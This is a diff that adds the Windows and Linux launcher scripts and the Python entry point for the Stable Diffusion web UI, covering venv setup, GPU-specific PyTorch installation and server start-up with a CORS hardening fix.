TCMalloc +#export NO_TCMALLOC="True" + +########################################### diff --git a/webui.bat b/webui.bat new file mode 100644 index 0000000000000000000000000000000000000000..b0fee3e4ed58a4f7328afb4fc32610ba14c01ce3 --- /dev/null +++ b/webui.bat @@ -0,0 +1,87 @@ +@echo off + +if not defined PYTHON (set PYTHON=python) +if not defined VENV_DIR (set "VENV_DIR=%~dp0%venv") + +set SD_WEBUI_RESTART=tmp/restart +set ERROR_REPORTING=FALSE + +mkdir tmp 2>NUL + +%PYTHON% -c "" >tmp/stdout.txt 2>tmp/stderr.txt +if %ERRORLEVEL% == 0 goto :check_pip +echo Couldn't launch python +goto :show_stdout_stderr + +:check_pip +%PYTHON% -mpip --help >tmp/stdout.txt 2>tmp/stderr.txt +if %ERRORLEVEL% == 0 goto :start_venv +if "%PIP_INSTALLER_LOCATION%" == "" goto :show_stdout_stderr +%PYTHON% "%PIP_INSTALLER_LOCATION%" >tmp/stdout.txt 2>tmp/stderr.txt +if %ERRORLEVEL% == 0 goto :start_venv +echo Couldn't install pip +goto :show_stdout_stderr + +:start_venv +if ["%VENV_DIR%"] == ["-"] goto :skip_venv +if ["%SKIP_VENV%"] == ["1"] goto :skip_venv + +dir "%VENV_DIR%\Scripts\Python.exe" >tmp/stdout.txt 2>tmp/stderr.txt +if %ERRORLEVEL% == 0 goto :activate_venv + +for /f "delims=" %%i in ('CALL %PYTHON% -c "import sys; print(sys.executable)"') do set PYTHON_FULLNAME="%%i" +echo Creating venv in directory %VENV_DIR% using python %PYTHON_FULLNAME% +%PYTHON_FULLNAME% -m venv "%VENV_DIR%" >tmp/stdout.txt 2>tmp/stderr.txt +if %ERRORLEVEL% == 0 goto :activate_venv +echo Unable to create venv in directory "%VENV_DIR%" +goto :show_stdout_stderr + +:activate_venv +set PYTHON="%VENV_DIR%\Scripts\Python.exe" +echo venv %PYTHON% + +:skip_venv +if [%ACCELERATE%] == ["True"] goto :accelerate +goto :launch + +:accelerate +echo Checking for accelerate +set ACCELERATE="%VENV_DIR%\Scripts\accelerate.exe" +if EXIST %ACCELERATE% goto :accelerate_launch + +:launch +%PYTHON% launch.py %* +if EXIST tmp/restart goto :skip_venv +pause +exit /b + +:accelerate_launch +echo Accelerating +%ACCELERATE% launch --num_cpu_threads_per_process=6 launch.py +if EXIST tmp/restart goto :skip_venv +pause +exit /b + +:show_stdout_stderr + +echo. +echo exit code: %errorlevel% + +for /f %%i in ("tmp\stdout.txt") do set size=%%~zi +if %size% equ 0 goto :show_stderr +echo. +echo stdout: +type tmp\stdout.txt + +:show_stderr +for /f %%i in ("tmp\stderr.txt") do set size=%%~zi +if %size% equ 0 goto :show_stderr +echo. +echo stderr: +type tmp\stderr.txt + +:endofscript + +echo. +echo Launch unsuccessful. Exiting. +pause diff --git a/webui.py b/webui.py new file mode 100644 index 0000000000000000000000000000000000000000..f53912b94e72151cda55a92752b74e05fc874839 --- /dev/null +++ b/webui.py @@ -0,0 +1,162 @@ +from __future__ import annotations + +import os +import time + +from modules import timer +from modules import initialize_util +from modules import initialize + +startup_timer = timer.startup_timer +startup_timer.record("launcher") + +initialize.imports() + +initialize.check_versions() + + +def create_api(app): + from modules.api.api import Api + from modules.call_queue import queue_lock + + api = Api(app, queue_lock) + return api + + +def api_only(): + from fastapi import FastAPI + from modules.shared_cmd_options import cmd_opts + + initialize.initialize() + + app = FastAPI() + initialize_util.setup_middleware(app) + api = create_api(app) + + from modules import script_callbacks + script_callbacks.before_ui_callback() + script_callbacks.app_started_callback(None, app) + + print(f"Startup time: {startup_timer.summary()}.") + api.launch( + server_name="0.0.0.0" if cmd_opts.listen else "127.0.0.1", + port=cmd_opts.port if cmd_opts.port else 7861, + root_path=f"/{cmd_opts.subpath}" if cmd_opts.subpath else "" + ) + + +def webui(): + from modules.shared_cmd_options import cmd_opts + + launch_api = cmd_opts.api + initialize.initialize() + + from modules import shared, ui_tempdir, script_callbacks, ui, progress, ui_extra_networks + + while 1: + if shared.opts.clean_temp_dir_at_start: + ui_tempdir.cleanup_tmpdr() + startup_timer.record("cleanup temp dir") + + script_callbacks.before_ui_callback() + startup_timer.record("scripts before_ui_callback") + + shared.demo = ui.create_ui() + startup_timer.record("create ui") + + if not cmd_opts.no_gradio_queue: + shared.demo.queue(64) + + gradio_auth_creds = list(initialize_util.get_gradio_auth_creds()) or None + + auto_launch_browser = False + if os.getenv('SD_WEBUI_RESTARTING') != '1': + if shared.opts.auto_launch_browser == "Remote" or cmd_opts.autolaunch: + auto_launch_browser = True + elif shared.opts.auto_launch_browser == "Local": + auto_launch_browser = not any([cmd_opts.listen, cmd_opts.share, cmd_opts.ngrok, cmd_opts.server_name]) + + app, local_url, share_url = shared.demo.launch( + share=cmd_opts.share, + server_name=initialize_util.gradio_server_name(), + server_port=cmd_opts.port, + ssl_keyfile=cmd_opts.tls_keyfile, + ssl_certfile=cmd_opts.tls_certfile, + ssl_verify=cmd_opts.disable_tls_verify, + debug=cmd_opts.gradio_debug, + auth=gradio_auth_creds, + inbrowser=auto_launch_browser, + prevent_thread_lock=True, + allowed_paths=cmd_opts.gradio_allowed_path, + app_kwargs={ + "docs_url": "/docs", + "redoc_url": "/redoc", + }, + root_path=f"/{cmd_opts.subpath}" if cmd_opts.subpath else "", + ) + + startup_timer.record("gradio launch") + + # gradio uses a very open CORS policy via app.user_middleware, which makes it possible for + # an attacker to trick the user into opening a malicious HTML page, which makes a request to the + # running web ui and do whatever the attacker wants, including installing an extension and + # running its code. We disable this here. Suggested by RyotaK. + app.user_middleware = [x for x in app.user_middleware if x.cls.__name__ != 'CORSMiddleware'] + + initialize_util.setup_middleware(app) + + progress.setup_progress_api(app) + ui.setup_ui_api(app) + + if launch_api: + create_api(app) + + ui_extra_networks.add_pages_to_demo(app) + + startup_timer.record("add APIs") + + with startup_timer.subcategory("app_started_callback"): + script_callbacks.app_started_callback(shared.demo, app) + + timer.startup_record = startup_timer.dump() + print(f"Startup time: {startup_timer.summary()}.") + + try: + while True: + server_command = shared.state.wait_for_server_command(timeout=5) + if server_command: + if server_command in ("stop", "restart"): + break + else: + print(f"Unknown server command: {server_command}") + except KeyboardInterrupt: + print('Caught KeyboardInterrupt, stopping...') + server_command = "stop" + + if server_command == "stop": + print("Stopping server...") + # If we catch a keyboard interrupt, we want to stop the server and exit. + shared.demo.close() + break + + # disable auto launch webui in browser for subsequent UI Reload + os.environ.setdefault('SD_WEBUI_RESTARTING', '1') + + print('Restarting UI...') + shared.demo.close() + time.sleep(0.5) + startup_timer.reset() + script_callbacks.app_reload_callback() + startup_timer.record("app reload callback") + script_callbacks.script_unloaded_callback() + startup_timer.record("scripts unloaded callback") + initialize.initialize_rest(reload_script_modules=True) + + +if __name__ == "__main__": + from modules.shared_cmd_options import cmd_opts + + if cmd_opts.nowebui: + api_only() + else: + webui() diff --git a/webui.sh b/webui.sh new file mode 100644 index 0000000000000000000000000000000000000000..3d0f87eed741f82091175cce9ce4d644e9b1c130 --- /dev/null +++ b/webui.sh @@ -0,0 +1,255 @@ +#!/usr/bin/env bash +################################################# +# Please do not make any changes to this file, # +# change the variables in webui-user.sh instead # +################################################# + + +use_venv=1 +if [[ $venv_dir == "-" ]]; then + use_venv=0 +fi + +SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd ) + + +# If run from macOS, load defaults from webui-macos-env.sh +if [[ "$OSTYPE" == "darwin"* ]]; then + if [[ -f "$SCRIPT_DIR"/webui-macos-env.sh ]] + then + source "$SCRIPT_DIR"/webui-macos-env.sh + fi +fi + +# Read variables from webui-user.sh +# shellcheck source=/dev/null +if [[ -f "$SCRIPT_DIR"/webui-user.sh ]] +then + source "$SCRIPT_DIR"/webui-user.sh +fi + +# Set defaults +# Install directory without trailing slash +if [[ -z "${install_dir}" ]] +then + install_dir="$SCRIPT_DIR" +fi + +# Name of the subdirectory (defaults to stable-diffusion-webui) +if [[ -z "${clone_dir}" ]] +then + clone_dir="stable-diffusion-webui" +fi + +# python3 executable +if [[ -z "${python_cmd}" ]] +then + python_cmd="python3" +fi + +# git executable +if [[ -z "${GIT}" ]] +then + export GIT="git" +fi + +# python3 venv without trailing slash (defaults to ${install_dir}/${clone_dir}/venv) +if [[ -z "${venv_dir}" ]] && [[ $use_venv -eq 1 ]] +then + venv_dir="venv" +fi + +if [[ -z "${LAUNCH_SCRIPT}" ]] +then + LAUNCH_SCRIPT="launch.py" +fi + +# this script cannot be run as root by default +can_run_as_root=0 + +# read any command line flags to the webui.sh script +while getopts "f" flag > /dev/null 2>&1 +do + case ${flag} in + f) can_run_as_root=1;; + *) break;; + esac +done + +# Disable sentry logging +export ERROR_REPORTING=FALSE + +# Do not reinstall existing pip packages on Debian/Ubuntu +export PIP_IGNORE_INSTALLED=0 + +# Pretty print +delimiter="################################################################" + +printf "\n%s\n" "${delimiter}" +printf "\e[1m\e[32mInstall script for stable-diffusion + Web UI\n" +printf "\e[1m\e[34mTested on Debian 11 (Bullseye)\e[0m" +printf "\n%s\n" "${delimiter}" + +# Do not run as root +if [[ $(id -u) -eq 0 && can_run_as_root -eq 0 ]] +then + printf "\n%s\n" "${delimiter}" + printf "\e[1m\e[31mERROR: This script must not be launched as root, aborting...\e[0m" + printf "\n%s\n" "${delimiter}" + exit 1 +else + printf "\n%s\n" "${delimiter}" + printf "Running on \e[1m\e[32m%s\e[0m user" "$(whoami)" + printf "\n%s\n" "${delimiter}" +fi + +if [[ $(getconf LONG_BIT) = 32 ]] +then + printf "\n%s\n" "${delimiter}" + printf "\e[1m\e[31mERROR: Unsupported Running on a 32bit OS\e[0m" + printf "\n%s\n" "${delimiter}" + exit 1 +fi + +if [[ -d .git ]] +then + printf "\n%s\n" "${delimiter}" + printf "Repo already cloned, using it as install directory" + printf "\n%s\n" "${delimiter}" + install_dir="${PWD}/../" + clone_dir="${PWD##*/}" +fi + +# Check prerequisites +gpu_info=$(lspci 2>/dev/null | grep -E "VGA|Display") +case "$gpu_info" in + *"Navi 1"*) + export HSA_OVERRIDE_GFX_VERSION=10.3.0 + if [[ -z "${TORCH_COMMAND}" ]] + then + pyv="$(${python_cmd} -c 'import sys; print(".".join(map(str, sys.version_info[0:2])))')" + if [[ $(bc <<< "$pyv <= 3.10") -eq 1 ]] + then + # Navi users will still use torch 1.13 because 2.0 does not seem to work. + export TORCH_COMMAND="pip install torch==1.13.1+rocm5.2 torchvision==0.14.1+rocm5.2 --index-url https://download.pytorch.org/whl/rocm5.2" + else + printf "\e[1m\e[31mERROR: RX 5000 series GPUs must be using at max python 3.10, aborting...\e[0m" + exit 1 + fi + fi + ;; + *"Navi 2"*) export HSA_OVERRIDE_GFX_VERSION=10.3.0 + ;; + *"Navi 3"*) [[ -z "${TORCH_COMMAND}" ]] && \ + export TORCH_COMMAND="pip install --pre torch torchvision --index-url https://download.pytorch.org/whl/nightly/rocm5.6" + # Navi 3 needs at least 5.5 which is only on the nightly chain, previous versions are no longer online (torch==2.1.0.dev-20230614+rocm5.5 torchvision==0.16.0.dev-20230614+rocm5.5 torchaudio==2.1.0.dev-20230614+rocm5.5) + # so switch to nightly rocm5.6 without explicit versions this time + ;; + *"Renoir"*) export HSA_OVERRIDE_GFX_VERSION=9.0.0 + printf "\n%s\n" "${delimiter}" + printf "Experimental support for Renoir: make sure to have at least 4GB of VRAM and 10GB of RAM or enable cpu mode: --use-cpu all --no-half" + printf "\n%s\n" "${delimiter}" + ;; + *) + ;; +esac +if ! echo "$gpu_info" | grep -q "NVIDIA"; +then + if echo "$gpu_info" | grep -q "AMD" && [[ -z "${TORCH_COMMAND}" ]] + then + export TORCH_COMMAND="pip install torch==2.0.1+rocm5.4.2 torchvision==0.15.2+rocm5.4.2 --index-url https://download.pytorch.org/whl/rocm5.4.2" + fi +fi + +for preq in "${GIT}" "${python_cmd}" +do + if ! hash "${preq}" &>/dev/null + then + printf "\n%s\n" "${delimiter}" + printf "\e[1m\e[31mERROR: %s is not installed, aborting...\e[0m" "${preq}" + printf "\n%s\n" "${delimiter}" + exit 1 + fi +done + +if [[ $use_venv -eq 1 ]] && ! "${python_cmd}" -c "import venv" &>/dev/null +then + printf "\n%s\n" "${delimiter}" + printf "\e[1m\e[31mERROR: python3-venv is not installed, aborting...\e[0m" + printf "\n%s\n" "${delimiter}" + exit 1 +fi + +cd "${install_dir}"/ || { printf "\e[1m\e[31mERROR: Can't cd to %s/, aborting...\e[0m" "${install_dir}"; exit 1; } +if [[ -d "${clone_dir}" ]] +then + cd "${clone_dir}"/ || { printf "\e[1m\e[31mERROR: Can't cd to %s/%s/, aborting...\e[0m" "${install_dir}" "${clone_dir}"; exit 1; } +else + printf "\n%s\n" "${delimiter}" + printf "Clone stable-diffusion-webui" + printf "\n%s\n" "${delimiter}" + "${GIT}" clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git "${clone_dir}" + cd "${clone_dir}"/ || { printf "\e[1m\e[31mERROR: Can't cd to %s/%s/, aborting...\e[0m" "${install_dir}" "${clone_dir}"; exit 1; } +fi + +if [[ $use_venv -eq 1 ]] && [[ -z "${VIRTUAL_ENV}" ]]; +then + printf "\n%s\n" "${delimiter}" + printf "Create and activate python venv" + printf "\n%s\n" "${delimiter}" + cd "${install_dir}"/"${clone_dir}"/ || { printf "\e[1m\e[31mERROR: Can't cd to %s/%s/, aborting...\e[0m" "${install_dir}" "${clone_dir}"; exit 1; } + if [[ ! -d "${venv_dir}" ]] + then + "${python_cmd}" -m venv "${venv_dir}" + first_launch=1 + fi + # shellcheck source=/dev/null + if [[ -f "${venv_dir}"/bin/activate ]] + then + source "${venv_dir}"/bin/activate + else + printf "\n%s\n" "${delimiter}" + printf "\e[1m\e[31mERROR: Cannot activate python venv, aborting...\e[0m" + printf "\n%s\n" "${delimiter}" + exit 1 + fi +else + printf "\n%s\n" "${delimiter}" + printf "python venv already activate or run without venv: ${VIRTUAL_ENV}" + printf "\n%s\n" "${delimiter}" +fi + +# Try using TCMalloc on Linux +prepare_tcmalloc() { + if [[ "${OSTYPE}" == "linux"* ]] && [[ -z "${NO_TCMALLOC}" ]] && [[ -z "${LD_PRELOAD}" ]]; then + TCMALLOC="$(PATH=/usr/sbin:$PATH ldconfig -p | grep -Po "libtcmalloc(_minimal|)\.so\.\d" | head -n 1)" + if [[ ! -z "${TCMALLOC}" ]]; then + echo "Using TCMalloc: ${TCMALLOC}" + export LD_PRELOAD="${TCMALLOC}" + else + printf "\e[1m\e[31mCannot locate TCMalloc (improves CPU memory usage)\e[0m\n" + fi + fi +} + +KEEP_GOING=1 +export SD_WEBUI_RESTART=tmp/restart +while [[ "$KEEP_GOING" -eq "1" ]]; do + if [[ ! -z "${ACCELERATE}" ]] && [ ${ACCELERATE}="True" ] && [ -x "$(command -v accelerate)" ]; then + printf "\n%s\n" "${delimiter}" + printf "Accelerating launch.py..." + printf "\n%s\n" "${delimiter}" + prepare_tcmalloc + accelerate launch --num_cpu_threads_per_process=6 "${LAUNCH_SCRIPT}" "$@" + else + printf "\n%s\n" "${delimiter}" + printf "Launching launch.py..." + printf "\n%s\n" "${delimiter}" + prepare_tcmalloc + "${python_cmd}" -u "${LAUNCH_SCRIPT}" "$@" + fi + + if [[ ! -f tmp/restart ]]; then + KEEP_GOING=0 + fi +done